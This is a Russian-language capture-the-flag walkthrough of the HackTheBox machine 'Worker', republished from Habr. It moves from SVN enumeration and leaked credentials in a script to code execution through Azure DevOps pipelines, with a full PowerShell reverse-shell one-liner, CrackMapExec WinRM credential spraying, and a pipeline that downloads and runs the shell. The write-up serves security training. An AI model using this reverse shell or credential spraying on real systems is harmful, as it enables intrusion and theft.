Русский
Русский
English
Статистика
Реклама

HackTheBox. Прохождение Worker. Работаем с SVN. Используем Azure DevOps для захвата хоста

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.192worker.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

И нам доступны веб сервер и служба SVN. Веб нам пока ничего предложить не может.

Давайте обратимся к службе svn. Subversion- это свободная централизованная система управления версиями. Давайте полцчим базовую информацию.

svn info svn://worker.htb

И мы знаем базовую ветку, автора ичто мы можем узнать последние пять изменений.

Entry Point

Посмотрим список файлов в данной ветке.

svn list svn://worker.htb

Имеем директорию и файл. Скачиваем все к себе на хост.

svn export svn://worker.htb/dimension.worker.htb/
svn export svn://worker.htb/moved.txt

И из последнего файла узнаем новый поддомен.

Добавим его в /etc/hosts.

10.10.10.203devops.worker.htb

Но там нас встречает HTTP аутентификация. Давайте посмотрим последние изменения. На втором шаге мы находим интересный файл, не встречавшийся ранее.

svn checkout -r 1 svn://worker.htb
svn checkout -r 2 svn://worker.htb

Применим изменения, чтобы получить данный файл.

svn up -r 2 deploy.ps1

И в данном powershell скрипте обнаружим учетные данные.

Снайденными учетными данными получается аутентифицироваться на сайте.

USER

Обратимвнимание на репозиторий и то, что он содержит код.

Используем название репозитория как субдомен, занеся его в /etc/hosts.

10.10.10.203spectral.worker.htb

И нас встречает сайт.

Это вектор RCE. Давайте внесем изменения, добавив на сервере ASPX шелл. Создадимновую ветку, добавим файл, добавим задачу, и сделаем ветку основной.

И после применения всех изменений, обратимся к нашему файлу.

Давайте получим полноценный шелл. Для этого запустим листенер и выполним Powershell бэкконнект.

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',4321);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()

И получаем шелл.

Немного осмотревшись, находим директории с конфигурациями.

И в файле passwd есть много пар логинов и паролей.

А по открытым портам определяем работающую службу WinRM.

Давайте сделаем списки пользователей и паролей.

cat logpass.txt | tr -d ' ' | cut -f 1 -d '=' > user.txtcat logpass.txt | tr -d ' ' | cut -f 2 -d '=' > pass.txt

А темеперь выполним подбор пар учетных данных с помощью CrackMapExec.

cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb

И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг.

ROOT

С этими же учетными данными мы возвращаемся на наш сайт.

Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это.

В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл.

И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями.

Источник: habr.com
К списку статей
Опубликовано: 30.01.2021 18:12:04
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Информационная безопасность

Ctf

Ralf_rt

Redteam

Pentest

Pentesting

Hackthebox

Hack

Red team

Azure

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru